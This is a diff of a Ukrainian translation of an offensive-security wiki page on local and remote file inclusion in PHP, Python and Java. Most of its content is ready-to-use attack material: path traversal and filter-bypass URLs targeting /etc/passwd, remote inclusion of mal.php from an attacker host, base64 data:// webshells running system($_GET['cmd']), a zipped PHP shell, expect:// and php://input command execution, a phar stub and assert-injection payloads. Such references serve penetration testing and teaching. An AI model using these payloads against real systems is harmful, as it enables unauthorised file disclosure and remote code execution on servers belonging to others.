@ -80,42 +79,42 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
||||
```
|
||||
### З існуючої папки
|
||||
|
||||
Можливо, бекенд перевіряє шлях до папки:
|
||||
Можливо, back-end перевіряє шлях до папки:
|
||||
```python
|
||||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```
|
||||
### Дослідження каталогів файлової системи на сервері
|
||||
### Дослідження File System Directories on a Server
|
||||
|
||||
Файлова система сервера може бути досліджена рекурсивно для виявлення каталогів, а не лише файлів, шляхом використання певних технік. Цей процес включає визначення глибини каталогу та перевірку наявності конкретних папок. Нижче наведено детальний метод для досягнення цього:
|
||||
File system of a server можна рекурсивно досліджувати, щоб виявляти directories, а не лише files, застосовуючи певні techniques. Цей процес передбачає визначення directory depth та перевірку існування конкретних folders. Нижче наведено детальний метод для цього:
|
||||
|
||||
1. **Визначте глибину каталогу:** Визначте глибину вашого поточного каталогу, успішно отримавши файл `/etc/passwd` (застосовується, якщо сервер на базі Linux). Приклад URL може бути структурований наступним чином, вказуючи на глибину три:
|
||||
1. **Визначте Directory Depth:** Визначте глибину вашої поточної directory, успішно отримавши файл `/etc/passwd` (застосовується, якщо server — Linux-based). Приклад URL може бути структурований таким чином, вказуючи depth 3:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
2. **Дослідження папок:** Додайте назву підозрюваної папки (наприклад, `private`) до URL, а потім перейдіть назад до `/etc/passwd`. Додатковий рівень каталогу вимагає збільшення глибини на один:
|
||||
2. **Перевірте папки:** Додайте назву підозрілої папки (наприклад, `private`) до URL, потім поверніться до `/etc/passwd`. Додатковий рівень директорії вимагає збільшення глибини на одиницю:
|
||||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
3. **Інтерпретація результатів:** Відповідь сервера вказує, чи існує папка:
|
||||
- **Помилка / Немає виходу:** Папка `private`, ймовірно, не існує за вказаним місцем.
|
||||
- **Вміст `/etc/passwd`:** Присутність папки `private` підтверджена.
|
||||
4. **Рекурсивне дослідження:** Виявлені папки можна додатково перевіряти на наявність підкаталогів або файлів, використовуючи ту ж техніку або традиційні методи Local File Inclusion (LFI).
|
||||
- **Error / No Output:** Папка `private` ймовірно не існує в зазначеному місці.
|
||||
- **Contents of `/etc/passwd`:** Наявність папки `private` підтверджено.
|
||||
4. **Рекурсивне дослідження:** Виявлені папки можна додатково перевіряти на наявність підкаталогів або файлів, використовуючи той самий прийом або традиційні методи Local File Inclusion (LFI).
|
||||
|
||||
Для дослідження каталогів у різних місцях файлової системи, відповідно налаштуйте payload. Наприклад, щоб перевірити, чи містить `/var/www/` каталог `private` (припускаючи, що поточний каталог на глибині 3), використовуйте:
|
||||
Для дослідження каталогів у різних місцях файлової системи відповідно відкоригуйте payload. Наприклад, щоб перевірити, чи містить `/var/www/` каталог `private` (припускаючи, що поточний каталог знаходиться на глибині 3), використовуйте:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
### **Техніка обмеження шляху**
|
||||
### **Path Truncation Technique**
|
||||
|
||||
Path truncation - це метод, що використовується для маніпуляції шляхами файлів у веб-додатках. Його часто використовують для доступу до обмежених файлів, обходячи певні заходи безпеки, які додають додаткові символи в кінець шляхів файлів. Мета полягає в тому, щоб створити шлях до файлу, який, після зміни заходом безпеки, все ще вказує на потрібний файл.
|
||||
Path truncation є методом, який застосовується для маніпуляції файловими шляхами в веб‑додатках. Його часто використовують для доступу до обмежених файлів, обходячи певні заходи безпеки, які додають додаткові символи в кінець шляхів до файлів. Мета — створити шлях до файлу, який після змін, внесених заходом безпеки, все ще вказуватиме на потрібний файл.
|
||||
|
||||
У PHP різні представлення шляху до файлу можуть вважатися еквівалентними через природу файлової системи. Наприклад:
|
||||
У PHP різні представлення шляху до файлу можуть вважатися еквівалентними через особливості файлової системи. Наприклад:
|
||||
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` та `/etc/passwd/` всі розглядаються як один і той же шлях.
|
||||
- Коли останні 6 символів - це `passwd`, додавання `/` (перетворюючи його на `passwd/`) не змінює цільовий файл.
|
||||
- Аналогічно, якщо до шляху файлу додається `.php` (як `shellcode.php`), додавання `/.` в кінці не змінить файл, до якого здійснюється доступ.
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` всі трактуються як один і той самий шлях.
|
||||
- Коли останні 6 символів — `passwd`, додавання `/` (тобто `passwd/`) не змінює цільовий файл.
|
||||
- Аналогічно, якщо до шляху додається `.php` (наприклад `shellcode.php`), додавання `/.` у кінці не змінить файл, до якого здійснюється доступ.
|
||||
|
||||
Наведенні приклади демонструють, як використовувати обмеження шляху для доступу до `/etc/passwd`, що є поширеною мішенню через його чутливий вміст (інформація про облікові записи користувачів):
|
||||
Наведені приклади показують, як використовувати path truncation для доступу до `/etc/passwd`, який часто стає мішенню через чутливий вміст (інформація про облікові записи користувачів):
|
||||
```
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||
@ -125,17 +124,17 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
|
||||
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
||||
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
||||
```
|
||||
У цих сценаріях кількість необхідних переходів може становити близько 2027, але це число може змінюватися в залежності від конфігурації сервера.
|
||||
У цих сценаріях кількість traversals, що потрібні, може становити близько 2027, але це число може змінюватися залежно від конфігурації сервера.
|
||||
|
||||
- **Використання крапкових сегментів та додаткових символів**: Послідовності переходів (`../`), поєднані з додатковими крапковими сегментами та символами, можуть бути використані для навігації по файловій системі, ефективно ігноруючи додані рядки сервером.
|
||||
- **Визначення необхідної кількості переходів**: Через проби та помилки можна знайти точну кількість послідовностей `../`, необхідних для навігації до кореневої директорії, а потім до `/etc/passwd`, забезпечуючи нейтралізацію будь-яких доданих рядків (як-от `.php`), але залишаючи бажаний шлях (`/etc/passwd`) незмінним.
|
||||
- **Початок з фейкової директорії**: Це поширена практика починати шлях з неіснуючої директорії (як-от `a/`). Ця техніка використовується як запобіжний захід або для виконання вимог логіки парсингу шляхів сервера.
|
||||
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) у поєднанні з додатковими dot segments і символами можуть використовуватися для навігації файловою системою, фактично ігноруючи додані сервером рядки.
|
||||
- **Determining the Required Number of Traversals**: За методом спроб і помилок можна знайти точну кількість `../` послідовностей, щоб дістатися до кореневого каталогу, а потім до `/etc/passwd`, забезпечивши нейтралізацію будь‑яких доданих рядків (наприклад, `.php`), але збереження бажаного шляху (`/etc/passwd`).
|
||||
- **Starting with a Fake Directory**: Загальноприйнята практика — починати шлях з неіснуючого каталогу (наприклад, `a/`). Ця техніка використовується як запобіжний захід або щоб виконати вимоги логіки розбору шляху сервером.
|
||||
|
||||
При використанні технік скорочення шляхів важливо розуміти поведінку парсингу шляхів сервера та структуру файлової системи. Кожен сценарій може вимагати різного підходу, і часто необхідно тестування, щоб знайти найбільш ефективний метод.
|
||||
При застосуванні path truncation techniques важливо розуміти поведінку парсера шляхів сервера та структуру файлової системи. Кожен сценарій може вимагати іншого підходу, і часто необхідне тестування, щоб знайти найефективніший метод.
|
||||
|
||||
**Цю вразливість було виправлено в PHP 5.3.**
|
||||
**This vulnerability was corrected in PHP 5.3.**
|
||||
|
||||
### **Трюки обходу фільтрів**
|
||||
### **Filter bypass tricks**
|
||||
```
|
||||
http://example.com/index.php?page=....//....//etc/passwd
|
||||
http://example.com/index.php?page=..///////..////..//////etc/passwd
|
||||
@ -145,25 +144,25 @@ http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## Remote File Inclusion
|
||||
|
||||
У php це вимкнено за замовчуванням, оскільки **`allow_url_include`** є **Вимкнено.** Він повинен бути **Увімкнено** для того, щоб це працювало, і в такому випадку ви могли б включити PHP файл з вашого сервера і отримати RCE:
|
||||
У php це за замовчуванням вимкнено, оскільки **`allow_url_include`** — **Off.** Потрібно, щоб він був **On**, щоб це працювало, і в такому випадку ви могли б включити PHP файл зі свого сервера та отримати RCE:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
Якщо з якоїсь причини **`allow_url_include`** увімкнено, але PHP **фільтрує** доступ до зовнішніх веб-сторінок, [згідно з цим постом](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), ви можете, наприклад, використовувати протокол даних з base64 для декодування коду PHP у форматі b64 та отримання RCE:
|
||||
Якщо з якоїсь причини **`allow_url_include`** **увімкнено**, але PHP **фільтрує** доступ до зовнішніх веб-сторінок, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), можна, наприклад, використати data-протокол з base64, щоб декодувати b64 PHP-код і отримати RCE:
|
||||
```
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
> [!TIP]
|
||||
> У попередньому коді фінальний `+.txt` був доданий, оскільки зловмиснику потрібен рядок, який закінчується на `.txt`, тому рядок закінчується на ньому, а після декодування b64 ця частина поверне просто сміття, і справжній PHP код буде включено (і, отже, виконано).
|
||||
> У попередньому коді фінальний `+.txt` було додано, тому що зловмиснику потрібен був рядок, який закінчувався на `.txt`, тож рядок закінчується ним, і після b64 декодування ця частина поверне лише сміття, а реальний PHP-код буде включено (і, отже, виконано).
|
||||
|
||||
Інший приклад **без використання протоколу `php://`** буде:
|
||||
Ще один приклад **без використання протоколу `php://`**:
|
||||
```
|
||||
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
||||
```
|
||||
## Python Root element
|
||||
## Python кореневий елемент
|
||||
|
||||
В Python в коді, як у цьому:
|
||||
У python у коді на кшталт цього:
|
||||
```python
|
||||
# file_name is controlled by a user
|
||||
os.path.join(os.getcwd(), "public", file_name)
|
||||
@ -173,17 +172,17 @@ os.path.join(os.getcwd(), "public", file_name)
|
||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
'/etc/passwd'
|
||||
```
|
||||
Це очікувана поведінка відповідно до [документації](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||
Це очікувана поведінка згідно з [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||
|
||||
> Якщо компонент є абсолютним шляхом, всі попередні компоненти скидаються, і об'єднання продовжується з абсолютного компоненту шляху.
|
||||
> Якщо компонент є абсолютним шляхом, усі попередні компоненти відкидаються, і об’єднання продовжується від компонента з абсолютним шляхом.
|
||||
|
||||
## Java Список директорій
|
||||
## Java: перелік директорій
|
||||
|
||||
Схоже, що якщо у вас є Path Traversal в Java і ви **запитуєте директорію** замість файлу, **повертається список директорії**. Це не відбуватиметься в інших мовах (наскільки мені відомо).
|
||||
Здається, якщо у вас є Path Traversal у Java і ви **запитуєте директорію** замість файлу, повертається **перелік вмісту директорії**. Це не відбуватиметься в інших мовах (наскільки мені відомо).
|
||||
|
||||
## Топ 25 параметрів
|
||||
|
||||
Ось список з 25 найкращих параметрів, які можуть бути вразливими до вразливостей локального включення файлів (LFI) (з [посилання](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
Ось список топ-25 параметрів, які можуть бути вразливі до local file inclusion (LFI) (з [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
```
|
||||
?cat={payload}
|
||||
?dir={payload}
|
||||
@ -211,38 +210,38 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
?mod={payload}
|
||||
?conf={payload}
|
||||
```
|
||||
## LFI / RFI за допомогою PHP обгорток та протоколів
|
||||
## LFI / RFI за допомогою PHP wrappers & протоколів
|
||||
|
||||
### php://filter
|
||||
|
||||
PHP фільтри дозволяють виконувати базові **операції модифікації даних** перед їх читанням або записом. Є 5 категорій фільтрів:
|
||||
Фільтри PHP дозволяють виконувати базові **операції модифікації над даними** перед тим, як вони будуть прочитані або записані. Існує 5 категорій фільтрів:
|
||||
|
||||
- [String Filters](https://www.php.net/manual/en/filters.string.php):
|
||||
- `string.rot13`
|
||||
- `string.toupper`
|
||||
- `string.tolower`
|
||||
- `string.strip_tags`: Видаляє теги з даних (все між символами "<" та ">")
|
||||
- Зверніть увагу, що цей фільтр зник з сучасних версій PHP
|
||||
- `string.strip_tags`: Видаляє теги з даних (все, що знаходиться між символами "<" та ">" )
|
||||
- Note that this filter has disappear from the modern versions of PHP
|
||||
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
|
||||
- `convert.base64-encode`
|
||||
- `convert.base64-decode`
|
||||
- `convert.quoted-printable-encode`
|
||||
- `convert.quoted-printable-decode`
|
||||
- `convert.iconv.*` : Перетворює в іншу кодування (`convert.iconv.<input_enc>.<output_enc>`). Щоб отримати **список всіх підтримуваних кодувань**, запустіть у консолі: `iconv -l`
|
||||
- `convert.iconv.*` : Перетворює в іншу кодування (`convert.iconv.<input_enc>.<output_enc>`). Щоб отримати **список усіх підтримуваних кодувань**, виконайте в консолі: `iconv -l`
|
||||
|
||||
> [!WARNING]
|
||||
> Зловживаючи фільтром перетворення `convert.iconv.*`, ви можете **генерувати довільний текст**, що може бути корисно для запису довільного тексту або створення функції, яка включає процес довільного тексту. Для отримання додаткової інформації перегляньте [**LFI2RCE через php фільтри**](lfi2rce-via-php-filters.md).
|
||||
> Зловживаючи фільтром конверсії `convert.iconv.*`, ви можете **генерувати довільний текст**, що може бути корисним для запису довільного тексту або змусити функцію типу include обробляти довільний текст. Для додаткової інформації перегляньте [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
|
||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
- `zlib.deflate`: Стискає вміст (корисно, якщо потрібно ексфільтрувати багато інформації)
|
||||
- `zlib.deflate`: Стискає вміст (корисно при ексфільтрації великої кількості інформації)
|
||||
- `zlib.inflate`: Розпаковує дані
|
||||
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||||
- `mcrypt.*` : Застарілий
|
||||
- `mdecrypt.*` : Застарілий
|
||||
- Інші фільтри
|
||||
- Запустивши в php `var_dump(stream_get_filters());`, ви можете знайти кілька **неочікуваних фільтрів**:
|
||||
- `mcrypt.*` : Застаріле
|
||||
- `mdecrypt.*` : Застаріле
|
||||
- Other Filters
|
||||
- Запустивши в PHP `var_dump(stream_get_filters());`, ви можете знайти кілька **неочікуваних фільтрів**:
|
||||
- `consumed`
|
||||
- `dechunk`: скасовує кодування HTTP chunked
|
||||
- `dechunk`: скасовує HTTP chunked encoding
|
||||
- `convert.*`
|
||||
```php
|
||||
# String Filters
|
||||
@ -271,39 +270,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
|
||||
```
|
||||
> [!WARNING]
|
||||
> Частина "php://filter" не чутлива до регістру
|
||||
> Частина "php://filter" нечутлива до регістру
|
||||
|
||||
### Використання фільтрів php як оракула для читання довільних файлів
|
||||
### Використання php filters як oracle для читання довільних файлів
|
||||
|
||||
[**У цьому пості**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) пропонується техніка для читання локального файлу без отримання виходу від сервера. Ця техніка базується на **логічній ексфільтрації файлу (символ за символом) з використанням фільтрів php** як оракула. Це пов'язано з тим, що фільтри php можуть бути використані для збільшення тексту настільки, щоб php викликав виключення.
|
||||
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) запропонована техніка для читання локального файлу без отримання виводу від сервера. Ця техніка базується на **boolean exfiltration of the file (char by char) using php filters** як oracle. Це тому, що php filters можна використати, щоб зробити текст достатньо великим, щоб php кинув виняток.
|
||||
|
||||
У оригінальному пості ви можете знайти детальне пояснення техніки, але ось швидкий підсумок:
|
||||
В оригінальному дописі можна знайти детальне пояснення техніки, але тут — коротке резюме:
|
||||
|
||||
- Використовуйте кодек **`UCS-4LE`**, щоб залишити ведучий символ тексту на початку і зробити розмір рядка експоненційно більшим.
|
||||
- Це буде використано для генерації **тексту настільки великого, коли початкова літера вгадана правильно**, що php викличе **помилку**.
|
||||
- Фільтр **dechunk** **видалить все, якщо перший символ не є шістнадцятковим**, тому ми можемо дізнатися, чи є перший символ шістнадцятковим.
|
||||
- Це, в поєднанні з попереднім (і іншими фільтрами в залежності від вгаданої літери), дозволить нам вгадати літеру на початку тексту, спостерігаючи, коли ми робимо достатньо перетворень, щоб вона більше не була шістнадцятковим символом. Тому що, якщо шістнадцятковий, dechunk не видалить його, а початкова бомба викличе помилку php.
|
||||
- Кодек **convert.iconv.UNICODE.CP930** перетворює кожну літеру на наступну (так що після цього кодека: a -> b). Це дозволяє нам дізнатися, чи є перша літера `a`, наприклад, тому що якщо ми застосуємо 6 з цього кодека a->b->c->d->e->f->g, літера більше не є шістнадцятковим символом, отже, dechunk не видалив її, і помилка php викликана, оскільки вона множиться з початковою бомбою.
|
||||
- Використовуючи інші перетворення, такі як **rot13** на початку, можливо витягнути інші символи, такі як n, o, p, q, r (і інші кодеки можуть бути використані для переміщення інших літер у шістнадцятковий діапазон).
|
||||
- Коли початковий символ є числом, потрібно закодувати його в base64 і витягнути 2 перші літери, щоб витягнути число.
|
||||
- Остаточна проблема полягає в тому, **як витягти більше, ніж початкову літеру**. Використовуючи фільтри пам'яті порядку, такі як **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, можливо змінити порядок символів і отримати на першій позиції інші літери тексту.
|
||||
- І для того, щоб мати можливість отримати **додаткові дані**, ідея полягає в тому, щоб **згенерувати 2 байти сміттєвих даних на початку** з **convert.iconv.UTF16.UTF16**, застосувати **UCS-4LE**, щоб зробити його **поворотним з наступними 2 байтами**, і **видалити дані до сміттєвих даних** (це видалить перші 2 байти початкового тексту). Продовжуйте це робити, поки не досягнете бажаного біта для витоку.
|
||||
- Використати кодек **`UCS-4LE`** щоб залишити провідний символ тексту на початку і змусити розмір рядка зростати експоненційно.
|
||||
- Це буде використано для генерації **text so big when the initial letter is guessed correctly**, який, якщо початкова літера вгадана правильно, буде настільки великий, що php спричинить **помилку**.
|
||||
- Фільтр **dechunk** **видалить усе, якщо перший символ не є шістнадцятковим**, тому можна дізнатися, чи перший символ є hex.
|
||||
- Це, у поєднанні з попереднім (та іншими фільтрами залежно від вгаданої літери), дозволить вгадувати літеру на початку тексту, спостерігаючи, коли достатньо трансформацій зроблять її не шістнадцятковим символом. Тому що, якщо це hex, dechunk не видалить її і початкова «бомба» спричинить php помилку.
|
||||
- Кодек **convert.iconv.UNICODE.CP930** перетворює кожну літеру на наступну (тому після цього кодека: a -> b). Це дозволяє виявити, чи перша літера — наприклад, `a`, бо якщо застосувати 6 разів цей кодек: a->b->c->d->e->f->g, літера перестає бути шістнадцятковим символом, отже dechunk не видаляє її і php помилка спрацьовує через множення з початковою «бомбою».
|
||||
- Використовуючи інші трансформації, такі як **rot13** на початку, можна leak інші символи, наприклад n, o, p, q, r (і інші кодеки можна використати, щоб перемістити інші літери в hex-діапазон).
|
||||
- Коли початковий символ — число, потрібно закодувати його в base64 і leak перші 2 літери, щоб leak число.
|
||||
- Остаткова проблема — зрозуміти **how to leak more than the initial letter**. Використовуючи фільтри порядку пам'яті, такі як **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, можливо змінити порядок символів і отримати на першій позиції інші літери тексту.
|
||||
- І щоб мати змогу отримати **further data**, ідея полягає в тому, щоб **generate 2 bytes of junk data at the beginning** за допомогою **convert.iconv.UTF16.UTF16**, застосувати **UCS-4LE**, щоб це **pivot with the next 2 bytes**, і **delete the data until the junk data** (це видалить перші 2 байти початкового тексту). Продовжуйте робити це, поки не дійдете до потрібного біта для leak.
|
||||
|
||||
У пості також було витекло інструмент для автоматичного виконання цього: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
У дописі також був leaked інструмент для автоматизації: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
### php://fd
|
||||
|
||||
Цей обгортка дозволяє отримати доступ до дескрипторів файлів, які процес має відкритими. Потенційно корисно для ексфільтрації вмісту відкритих файлів:
|
||||
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
|
||||
```php
|
||||
echo file_get_contents("php://fd/3");
|
||||
$myfile = fopen("/etc/passwd", "r");
|
||||
```
|
||||
Ви також можете використовувати **php://stdin, php://stdout і php://stderr** для доступу до **файлових дескрипторів 0, 1 і 2** відповідно (не впевнений, як це може бути корисно в атаці)
|
||||
Ви також можете використовувати **php://stdin, php://stdout and php://stderr** для доступу до **file descriptors 0, 1 and 2** відповідно (не впевнений, як це може бути корисним у атаці)
|
||||
|
||||
### zip:// і rar://
|
||||
### zip:// and rar://
|
||||
|
||||
Завантажте файл Zip або Rar з PHPShell всередині та отримайте до нього доступ.\
|
||||
Щоб мати можливість зловживати протоколом rar, його **необхідно спеціально активувати**.
|
||||
Завантажте Zip або Rar файл з PHPShell всередині та отримайте до нього доступ.\
|
||||
Щоб мати змогу зловживати rar protocol, він **потребує спеціальної активації**.
|
||||
```bash
|
||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||||
zip payload.zip payload.php;
|
||||
@ -328,24 +327,24 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
|
||||
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
Зверніть увагу, що цей протокол обмежений конфігураціями php **`allow_url_open`** та **`allow_url_include`**
|
||||
Зверніть увагу, що цей протокол обмежується налаштуваннями php **`allow_url_open`** та **`allow_url_include`**
|
||||
|
||||
### expect://
|
||||
|
||||
Expect має бути активовано. Ви можете виконати код, використовуючи це:
|
||||
Expect має бути активовано. Ви можете виконувати код за допомогою цього:
|
||||
```
|
||||
http://example.com/index.php?page=expect://id
|
||||
http://example.com/index.php?page=expect://ls
|
||||
```
|
||||
### input://
|
||||
|
||||
Вкажіть ваш payload у параметрах POST:
|
||||
Вкажіть свій payload у POST параметрах:
|
||||
```bash
|
||||
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
|
||||
```
|
||||
### phar://
|
||||
|
||||
Файл `.phar` може бути використаний для виконання PHP коду, коли веб-додаток використовує функції, такі як `include`, для завантаження файлів. Наведений нижче фрагмент PHP коду демонструє створення файлу `.phar`:
|
||||
Файл `.phar` може бути використаний для виконання PHP-коду, коли веб‑додаток використовує функції, такі як `include`, для завантаження файлів. Наведений нижче фрагмент PHP-коду демонструє створення файлу `.phar`:
|
||||
```php
|
||||
<?php
|
||||
$phar = new Phar('test.phar');
|
||||
@ -354,94 +353,95 @@ $phar->addFromString('test.txt', 'text');
|
||||
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
|
||||
$phar->stopBuffering();
|
||||
```
|
||||
Щоб скомпілювати файл `.phar`, потрібно виконати таку команду:
|
||||
Щоб скомпілювати файл `.phar`, слід виконати наступну команду:
|
||||
```bash
|
||||
php --define phar.readonly=0 create_path.php
|
||||
```
|
||||
При виконанні буде створено файл з назвою `test.phar`, який потенційно може бути використаний для експлуатації вразливостей Local File Inclusion (LFI).
|
||||
Після виконання буде створено файл з ім'ям `test.phar`, який потенційно може бути використаний для експлуатації вразливостей Local File Inclusion (LFI).
|
||||
|
||||
У випадках, коли LFI лише виконує читання файлів без виконання PHP-коду всередині, через функції, такі як `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, або `filesize()`, можна спробувати експлуатувати вразливість десеріалізації. Ця вразливість пов'язана з читанням файлів за допомогою протоколу `phar`.
|
||||
Якщо LFI лише читає файл без виконання PHP-коду всередині — наприклад через функції `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` або `filesize()` — можна спробувати експлуатувати вразливість десеріалізації. Ця вразливість пов'язана з читанням файлів з використанням протоколу `phar`.
|
||||
|
||||
Для детального розуміння експлуатації вразливостей десеріалізації в контексті файлів `.phar`, зверніться до документа, що наведений нижче:
|
||||
Для детального розуміння експлуатації вразливостей десеріалізації у контексті файлів `.phar` зверніться до документа, що наведений нижче:
|
||||
|
||||
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
|
||||
|
||||
|
||||
{{#ref}}
|
||||
phar-deserialization.md
|
||||
{{#endref}}
|
||||
|
||||
### CVE-2024-2961
|
||||
|
||||
Було можливим зловживати **будь-яким довільним читанням файлів з PHP, що підтримує php фільтри**, щоб отримати RCE. Детальний опис можна [**знайти в цьому пості**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Дуже короткий підсумок: **3-байтовий переповнення** в купі PHP було зловжито для **зміни ланцюга вільних шматків** специфічного розміру, щоб мати можливість **записувати що завгодно в будь-яку адресу**, тому був доданий хуки для виклику **`system`**.\
|
||||
Було можливим виділяти шматки специфічних розмірів, зловживаючи більше php фільтрами.
|
||||
Було можливо зловживати **будь-яким довільним читанням файлу з PHP, яке підтримує php filters**, щоб отримати RCE. Детальний опис можна [**знайти в цьому дописі**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1).\
|
||||
Дуже коротке резюме: **3 byte overflow** в heap PHP було використано, щоб **змінити ланцюг вільних чанків** певного розміру, щоб мати можливість **записати що завгодно в будь-яку адресу**, тому було додано хук для виклику **`system`**.\
|
||||
Було можливо алоціювати чанки певних розмірів, зловживаючи додатковими php filters.
|
||||
|
||||
### Більше протоколів
|
||||
### More protocols
|
||||
|
||||
Перевірте більше можливих [**протоколів для включення тут**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
Перегляньте більше можливих[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Запис у пам'ять або в тимчасовий файл (не впевнений, як це може бути корисно в атаці на включення файлів)
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Запис у пам'ять або тимчасовий файл (не впевнений, як це може бути корисно в атаці file inclusion)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Доступ до локальної файлової системи
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Доступ до HTTP(s) URL
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Доступ до FTP(s) URL
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Доступ до HTTP(s) URL-ів
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Доступ до FTP(s) URL-ів
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Потоки стиснення
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Знайти імена шляхів, що відповідають шаблону (не повертає нічого, що можна надрукувати, тому не дуже корисно тут)
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Пошук імен шляхів, що відповідають шаблону (не повертає нічого друкованого, тому не дуже корисно тут)
|
||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Аудіопотоки (не корисно для читання довільних файлів)
|
||||
|
||||
## LFI через 'assert' PHP
|
||||
## LFI via PHP's 'assert'
|
||||
|
||||
Ризики Local File Inclusion (LFI) в PHP особливо високі при роботі з функцією 'assert', яка може виконувати код у рядках. Це особливо проблематично, якщо вхідні дані, що містять символи обходу директорій, такі як "..", перевіряються, але не очищуються належним чином.
|
||||
Ризики Local File Inclusion (LFI) в PHP особливо високі при роботі з функцією 'assert', яка може виконувати код, що міститься в рядках. Це особливо проблематично, якщо ввод, що містить символи обходу директорій, як-от "..", перевіряється, але не належним чином очищується.
|
||||
|
||||
Наприклад, код PHP може бути спроектований для запобігання обходу директорій таким чином:
|
||||
Наприклад, PHP-код може бути спроєктований для запобігання обходу директорій ось так:
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
Хоча це має на меті зупинити обходи, це ненавмисно створює вектор для ін'єкції коду. Щоб використати це для читання вмісту файлів, зловмисник може використовувати:
|
||||
Хоча це має на меті запобігти traversal, воно ненавмисно створює вектор для code injection. Щоб експлуатувати це і прочитати вміст файлу, attacker може використати:
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
Аналогічно, для виконання довільних системних команд можна використовувати:
|
||||
Аналогічно, для виконання довільних системних команд можна використати:
|
||||
```plaintext
|
||||
' and die(system("id")) or '
|
||||
```
|
||||
Важливо **URL-кодувати ці payloads**.
|
||||
It's important to **URL-encode these payloads**.
|
||||
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
> [!WARNING]
|
||||
